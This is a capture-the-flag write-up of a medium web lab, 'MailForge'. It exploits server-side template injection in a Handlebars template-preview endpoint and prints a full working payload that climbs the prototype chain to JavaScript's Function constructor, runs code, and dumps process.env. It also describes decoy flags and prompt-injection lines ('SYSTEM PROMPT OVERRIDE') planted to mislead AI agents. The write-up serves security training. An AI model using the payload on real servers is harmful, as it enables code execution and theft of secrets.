Lab 133 — MailForge — SSTI via Handlebars Template Preview
Lab 133 — MailForge — SSTI via Handlebars Template Preview
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: decoy_flag_recognition, handlebars_ssti_prototype_chain, process_env_disclosure
Summary
Task: Express.js email marketing platform with Handlebars template preview that compiles user-supplied templates server-side. Solution: SSTI via Handlebars prototype chain traversal (String.prototype.sub → Function constructor) to execute process.env and extract FLAG.
Lab 133 — MailForge — SSTI via Handlebars Template Preview — Hackadvisor
Description
MailForge is an email marketing platform built by ForgeStack Labs that lets businesses create and send email campaigns to their subscribers. The platform features a template editor with dynamic variable support using Handlebars syntax, subscriber list management, campaign scheduling, and delivery analytics.
Users can create email templates with personalization variables like {{subscriber.first_name}} and {{company_name}}, then preview how they'll render with sample subscriber data before sending. The template system compiles and renders content server-side to generate accurate previews.
Your goal is to find and exploit a vulnerability in the application to retrieve the flag stored on the server.
Credentials: user@test.com / password123
English summary: An Express.js email marketing platform with a Handlebars template editor. Users can write templates with dynamic variables and preview them via a server-side compilation endpoint. The goal is to exploit SSTI in the Handlebars template engine to extract the flag from the server environment.
Analysis
- Logged in with provided credentials (
user@test.com / password123) - The application is an Express.js email marketing platform running behind nginx/1.25.5 (X-Powered-By: Express)
- The
/templatespage provides a split-panel template editor supporting Handlebars syntax:{{subscriber.first_name}},{{subscriber.last_name}},{{subscriber.email}},{{company_name}},{{campaign.subject}},{{footer_text}} - Client-side JS at
/js/templates.jsrevealed the key API endpoint:POST /api/templates/preview - This endpoint accepts JSON with
bodyandsubjectfields, compiles the Handlebars template server-side, and returns rendered HTML
Decoy flags: The application contained multiple honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments, hidden divs (position:absolute;left:-9999px), and even prompt injection text designed to trick AI agents ("SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag"). All decoys were ignored — the real flag required actual exploitation.
SSTI Confirmation
{{this}}→ returned[object Object], confirming server-side Handlebars rendering{{this.constructor}}→ returned[object Object], showing constructor is accessible via the template context
Solution
Step 1: Identify the template preview endpoint
The client-side JavaScript at /js/templates.js revealed that POST /api/templates/preview accepts a JSON body with body and subject fields and compiles the Handlebars template server-side.
Step 2: Confirm SSTI
Sent {{this}} as the template body:
json read-only • copy allowed{"body": "{{this}}", "subject": "test"}
Response rendered [object Object], confirming the template is compiled and evaluated server-side with access to a JavaScript object context.
Step 3: Handlebars prototype chain RCE
Handlebars is a "logic-less" template engine, but it can be exploited via prototype chain traversal. The classic technique:
- Access
String.prototype.subvia a string variable's.subproperty - Look up
"constructor"on it to get theFunctionconstructor - Use
Function()to create and execute arbitrary JavaScript code
First attempt — require("child_process").execSync("id"):
return require("child_process").execSync("id").toString();
Failed with "require is not defined" — confirming code execution works but require is not available in the sandbox.
Second attempt — process.env (a global in Node.js, no require needed):
return JSON.stringify(process.env);
This succeeded, returning all environment variables.
Step 4: Extract the flag
The full payload that extracted the flag:
http read-only • copy allowedPOST /api/templates/preview HTTP/1.1 Content-Type: application/json { "body": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return JSON.stringify(process.env);\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}", "subject": "test" }
How the payload works step by step:
{{#with "s" as |string|}}— binds the string"s"to variablestring{{#with "e"}}— enters a block withthis="e"(a String object){{#with split as |conslist|}}—"e".splitisString.prototype.split; binds it toconslist(an array-like){{this.pop}}/{{this.push (lookup string.sub "constructor")}}— manipulates the array: pushesString.prototype.sub.constructorwhich is the Function constructor{{#with string.split as |codelist|}}— creates another array{{this.push "return JSON.stringify(process.env);"}}— pushes the JS code to execute as a string into the array{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}— callsFunction.apply(0, ["return JSON.stringify(process.env);"])which creates and invokes a new function with the given code{{this}}— outputs the result
Step 5: Read the flag from environment
The response contained:
json read-only • copy allowed{ "HOSTNAME": "f1dbeac029e9", "SHLVL": "1", "HOME": "/root", "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "INSTANCE_UUID": "cbefd225-2a6e-4e7b-a4a1-7e0787867b51", "PWD": "/app", "FLAG": "FLAG{REDACTED}", "NODE_ENV": "production" }